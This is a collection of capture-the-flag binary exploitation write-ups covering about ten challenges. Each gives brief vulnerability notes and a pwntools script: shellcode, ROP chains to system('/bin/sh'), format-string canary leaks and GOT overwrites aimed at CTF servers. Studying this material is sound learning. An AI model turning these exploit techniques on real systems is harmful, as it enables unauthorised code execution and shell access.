Naughty

Description: You haven’t been naughty, have you?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

Notes:

  • The binary has no mitigation, so we can do a stack bof and write our shellcode somewhere on the stack
  • fgets() reads in 0x47 bytes from the user, the two bytes from the base pointer has to be 0xe4ff, which is the opcode for jmp esp (hint that a pivot is needed)
  • Since we are limited on stack space, we could overwrite the return address with a jmp rsp to pivot to the beginning of our buffer to execute system(‘/bin/sh’) shellcode

PoC:

from pwn import *

def build_shellcode():
    shellcode = asm('push rax')
    shellcode += asm('xor rdx, rdx')
    shellcode += asm('xor rsi, rsi')
    shellcode += asm('movabs rbx, 0x68732f2f6e69622f')
    shellcode += asm('push rbx')
    shellcode += asm('push rsp')
    shellcode += asm('pop rdi')
    shellcode += asm('mov al, 0x3b')
    shellcode += asm('syscall')

    return shellcode

def send_payload(shellcode, io):
    payload = shellcode
    payload += b'\x00'*7 # pad 
    payload += b'A'*(39-(len(shellcode))) # junk
    payload += p64(0xe4ff) # JMP ESP opcode for cmp
    payload += b'\x00'*2 # pad
    payload += p64(0x40067f) # jump rsp
    payload += asm('sub rsp, 0x40; jmp rsp') # pivot stack to beginning of buffer to run shellcode

    io.sendlineafter('XMAS', payload)

def main():
    isLocal = False
    isDebug = False

    if isLocal:
        io = process('./chall')
    else:
        io = remote('challs.xmas.htsp.ro', 2000)
    
    if isDebug:
        gdb.attach(io, '''
            b *0x4006b1
            b *0x4006d5
        ''')

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-v']
    context.arch = 'amd64'

    shellcode = build_shellcode()
    send_payload(shellcode, io)
    io.interactive()

if __name__=='__main__':
    main()

#X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}

Ready for Xmas?

Description: Are you ready for aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/shawhkj\xffwaa ?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Notes:

  • memset(0x601068, 0, 9) gives us 9 bytes to write to in the bss
  • gets() -> buffer overflow
  • NX is enabled so can’t execute on stack
  • No PIE, can use ropchain to write ‘/bin/sh’ to bss and pass bss address into system
  • mprotect is used here to check input for presence of ‘sh’ and ‘cat’.

The approach I took was to build a ropchain to use gets() to write ‘/bin/sh’ to the bss and then pass that address to system. The only gadget needed for this was a pop rdi ; ret

PoC:

from pwn import *

POP_RDI_RET = p64(0x00000000004008e3)
RET = p64(0x00000000004005e6)

def create_payload(junk):

    payload = b''
    payload += junk
    payload += POP_RDI_RET
    payload += p64(0x601068) #  bss addr
    payload += p64(0x400630) # gets
    payload += RET
    payload += POP_RDI_RET
    payload += p64(0x601068) # bss addr
    payload += RET
    payload += RET
    payload += RET
    payload += p64(0x400610) # system

    return payload

def send_payload(io, payload):
    io.sendlineafter('Christmas?', payload)

def main():

    isRemote = False
    if isRemote:
        io = remote('challs.xmas.htsp.ro', 2001)
    else:
        io = process(['./chall'])

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    context.binary = './chall'

    isDebug = False
    if isDebug:
        gdb.attach(io, '''
            b *0x400852
            b *0x400875
                ''')

    junk = b'A'*72
    payload = create_payload(junk)

    send_payload(io, payload)

    # write to bss
    io.sendline(b'/bin/sh\x00')

    io.interactive()


if __name__ == "__main__":
    main()

# X-MAS{l00ks_lik3_y0u_4re_r3ady}

Big Brain Time

Notes:

  • We know address of qi_de_base
    • 0x8202010
  • There is format string vuln
    • printf(user->display, user->name, user->sex);
  • user data is written in heap
  • no aslr and no pie
  • Have heap overflow on user->name
    typedef struct moron
    {
        int qi;
        char sex;
        char name[STR_LEN];
        display[STR_LEN];
    }person

This is the user->qi person *user = new_p();

Steps:

  1. Use heap overflow on user->name to write into user->display
    • user->display is where the fmt string bug is located
  2. Find address of *user with format string
    • target is person *user = new_p(), goal is to override user->qi which is the first index of the struct.
  3. Send payload to write to address of user->qi (from step 3)
    after filling user->name buffer Final payload: Junk (to fill user->name) + payload to write to user->display + format string to write to user->qi with length of payload written to user->display

Heap Overflow

typedef struct moron
{
    int qi;
    char sex;
    char name[64];
    display[64];
}person
   
Person *user = new Moron;

// Heap overflow to override display
scanf("%s", user->name)

Format String

user_display = 'A' * val_length_for_qi + "offset_to_qi%n";
printf(user_display);

Goal

// To make user->qi > 128
if (user->qi > 128) {
	puts("WIN");
} else {
	puts("Vous êtes sûrs d'être en bonne santé ?");
}

Code

from pwn import *

io = process('./bigbrain')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']

def nom(payload, io):
    io.sendlineafter('Nom :', payload)

def sexe(payload, io):
    io.sendlineafter('Sexe [M/F] :', payload)

junk = b'A'*0x40
val_length_for_qi = b'B'*129
fmt_string_offset = b'%9$n,'

nom_payload = (
    junk
    + val_length_for_qi
    + fmt_string_offset
)

sexe_payload = 'M'

nom(nom_payload, io)
sexe(sexe_payload, io)

io.interactive()

# H2G2{w0w_5uch_vu1n3r4b1lit13s}

hello %s

Notes

  • format string in 0x13a2 printf(argv[0])

Writeup

  1. There is format string vulnerability on argv[0] which is filename.
  2. Challenge gives you ssh to remote machine that has challenge file with SUID to user with flag.
  3. Using format string, there was a pointer to heap where flag have been copied to on offset 10.
  4. Using %s, you can print out the string stored in the heap.

Solution

ln -s /challenge/challenge /tmp/%p,%p,%p,%p,%p,%p,%p,%p,%p,%s

Flag

H2G2{argv0_s0us_c0té}

bazooka

Binary

bazooka

Notes

  • scanf() BoF in vuln().
  • no-pie
  • Tried to find offset of /bin/sh in libc using libc leak and it seems like we are out of luck
  • Could use bss segment as code cave to write /bin/sh string
BoF
bss segment address 0x00601068
  1. Control PC using BOF
  2. Create a ROP chain to write “/bin/sh” in unused data section then jump back to vuln()
  3. Create a ROP chain to POP_RDI code cave(/bin/sh str) then jump to system() in the code

POC

from pwn import *
from Crypto.Util.number import long_to_bytes
from dataclasses import dataclass

class ROPGAD:
    POP_RDI = p64(0x00000000004008f3)
    RET = p64(0x0000000000400596)
    POP_RSI_POP_R15 = p64(0x4008f1)
    POP_RAX_CLUB_RDI = p64(0x400819)

def send_secret_msg(secret_msg: bytes):
    io.sendlineafter('message:', secret_msg)

def send_vuln_msg(vuln_msg: bytes):
    io.sendlineafter('Message: ', vuln_msg)

def send_junk_msg(junk_msg: bytes):
    io.sendlineafter('junk: ', junk_msg)


def create_scanf_rop(target_addr: int, ret_addr: int) -> bytes:
    SCANF = p64(0x40077e)
    rop_chain = (
        b''
        + ROPGAD.POP_RSI_POP_R15
        + p64(target_addr)
        + b'A' * 8
        + ROPGAD.RET
        + SCANF
        + p64(ret_addr)
    )

    return rop_chain



def control_pc(rop_chain: bytes):
    BUFFER_SIZE = 120
    bof = b'A'* BUFFER_SIZE

    secret = "#!@{try_hard3r}"
    send_secret_msg(secret)
    send_vuln_msg(bof + rop_chain)


def write_code_cave(code_cave_addr: int, msg: str, ret_addr: int):
    code_cave_ropchain = create_scanf_rop(code_cave_addr, ret_addr)
    control_pc(code_cave_ropchain)
    io.sendline(msg)

def create_system_sh(binsh_addr):
    SYSTEM = p64(0x4005c0)
    BINSH = p64(binsh_addr)
    rop_chain = (
        b''
        + ROPGAD.POP_RDI
        + BINSH
        + ROPGAD.RET
        + SYSTEM
    )

    return rop_chain



def main():
    VULN = 0x4006f7
    binsh_code_cave = 0x601068

    write_code_cave(binsh_code_cave, '/bin/sh', VULN)
    control_pc(create_system_sh(binsh_code_cave))

    io.interactive()

if __name__ == '__main__':
    io = process('pwn_bazooka_bazooka')

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']

    

    main()

darkmagic

Binary

darkmagic

Notes

  • BoF in vuln()
  • There is stack canary
  • no-pie
  • for loop that read twice and printf twice
  • format string on printf
vuln()

Steps

  1. Use BoF to override the max_cntr that is 1 to 0xa so that you can read and printf multiple times
  2. Leak stack canary using format string vuln
  3. Use BoF to override stack canary with correct value and control pc
  4. Create ROP that jumps to getshell()

POC

from pwn import *

is_local = False

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
if is_local:
    pty = process.PTY
    io = process('pwn_darkmagic_darkmagic', stdin=pty, stdout=pty)
    # gdb.attach(io,'''
    #         b *0x4007eb
    # ''')
else:
    io = remote("35.234.65.24", 30750)



def send_magic(msg_1: bytes, msg_2: bytes):
    io.sendline(msg_1)
    io.sendline(msg_2)

# Offset 16
def leak_stack(depth: int = 0x10):
    send_magic(b'%p,' * depth,'')
    addr_list = io.recvline().split(b',')
    io.clean()

    for index, addr in enumerate(addr_list):
        log.info(f'offset: {index+1} @ {addr}')


io.recvuntil('Dark Magic is here!\n')

# Overwrite the max_cntr varible for forloop in vuln
send_magic(b'A'*100 + b'\x0a\x00\x00\x00', '')
sleep(1)
io.clean()
sleep(1)
send_magic(b'%35$p','')
canary = int(io.recvline()[:-1], 16)
# canary = int(io.recvline()[:-1], 16)
log.info(f'Canary: {hex(canary)}')
io.clean()
sleep(1)

JUNK_2_CANARY = b'A' * 0xd8
CANARY = p64(canary)
JUNK_2_RET = b'A' * 0x8
GETSHELL = p64(0x40073b)
payload_1 = (
    b''
    + JUNK_2_CANARY
    + CANARY
    + JUNK_2_RET
    + GETSHELL
)

sleep(1)
send_magic(payload_1, '')

io.interactive()

Finches in a Pie

Description

There’s a service at , exploit it to get the flag.

Files

fiap

flag.txt (You need this in same directory as fiap for local exploit. fiap will read flag once you exploit it)

Enumeration

checksec

Running the code

Static Analysis

flag function

say_hi function

It takes two inputs from the user. First input is printed.

Since PIE is enabled, we would need to leak the stack for canary and leak the code section to override the changed canary with correct canary and override the ret with flag.

Exploit

First we will use the first BoF and string format vulnerability to leak the address of say_hi+13 and stack_canary. Here we have to use “%#$p” where # is the offset in the stack instead of using many “%p” to reveal the stack. Because offset we want to look into will be overwritten by %p. offset 3 is say_hi+13 address and offset 11 is canary address.

Then we would need to figure out where canary and ret reside when you are doing second BoF. Once you figure that out, we can make exploit that has PADDING + Canary Address + Padding2 + RET Address(Here we want to return to flag function).

from pwn import *

isLocal = True

if isLocal:
    p = process("./fiap")
else:
    p = remote("95.216.233.106",17954)

p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()

p.sendline("%3$p %11$p ")
first_recv = p.recvline().split(" ")

SAY_HI_13 = int(first_recv[2], 16)
CANARY = int(first_recv[3] , 16)
FLAG = SAY_HI_13 - 134

PADDING = 'A' * 25

#
# Padding
# Canary
# Padding 2
# FLAG

PADDING2 = 'B' * 12

buf = ''
buf += PADDING
buf += p32(CANARY)
buf += PADDING2
buf += p32(FLAG)

p.sendline(buf)
p.recvline()
print(p.recvline())

Finches in a Stack (Unintentional Way)

Description

This challenge wasn’t suppose to be solved like this when I was discussing it with the author. To check out the intentional way, check out Finches in PIE. It is similar to this one except, PIE is enabled.

Files

fias

flag.txt (You need this in same directory as fiap for local exploit. fiap will read flag once you exploit it)

Enumuration

When you run the program, it will ask you for two inputs. And it talks about canary. I am guessing that you have to leak the canary and over ride the ret with the first input. Then fix the overwritten canary with the leaked canary.

Static Analysis

There is handy function called flag that prints out the flag

In say_hi(), we can see that the first_input can be used for format string vuln.

Second input also uses gets() so we can use it for BoF.

Solution

Looking at this problem, you can just use format string exploit to write to puts.got since after printf(&first_input) it will run puts and since we don’t return, we can go to flag function.

#!/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./fias")
else:
    p = remote("95.216.233.106", 34995)

elf = ELF("./fias")

GOT_PUTS = elf.got['puts'] # 0x804c01c
FUNC_FLAG = elf.sym['flag'] # 0x080491d2
p.recvline()
p.recvline()
#Flag addr 0x080491d2 
p.sendline(p32(GOT_PUTS+2) + '@@@@' + p32(GOT_PUTS) + '%.8x' * 4 + '%.2008x%hn' + '%.35278x%hn')

p.recvline()

p.recvline()
p.recvline()
print(p.recvline())

Not Really AI

Description

Exploit the service to get the flag.

Files

nra

flag.txt

Enumeration

checksec shows that THERE ARE NO MITIGATION AT ALL.

When you run the program, it repeats what you typed.

Static Analysis

With Binary Ninja we can check out where it reads and prints our input.

We can see that printf doens’t have any strings before it gives input. This is vulnerable to string format vulnerability.

Also, there is handy function where it “cat flag.txt”

Solution

Since it is Partial RELRO and has No PIE, we can just override puts.got with flaggy address.

#/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./nra")
else:
    p = remote("95.216.233.106", 25480)

elf = ELF("./nra")

GOT_PUTS = elf.got['puts']
FUNC_FLAGGY = elf.sym['flaggy']

p.recvline()

print(hex(FUNC_FLAGGY)) #0x08049245

p.sendline(p32(GOT_PUTS + 2)  + "@@@@" + p32(GOT_PUTS) + "%.8x%.8x%.2024x%hn%.35393x%hn")

p.readline()
p.readline()
print(p.readline())

Seashells

Description

I heard there’s someone selling shells? They seem to be out of stock though…

nc p1.tjctf.org 8009

Files

seashells

Enumuration

checksec

run

Static Analysis

main function gets() BoF

shell function

Exploit

Since PIE is disabled and there is no stack canary, we can use ROP to shell function.

from pwn import *

pop_rdi = p64(0x0000000000400803)
junk = 'a' * 18
shell = p64(0x004006c7)
shell_ret = 'b' * 8
shell_input = p64(0xdeadcafebabebeef)
ret = p64(0x0000000000400803+1)

p = remote("p1.tjctf.org", 8009)

p.recvline()
p.sendline(junk + pop_rdi + shell_input + ret + shell + shell_ret)
p.interactive()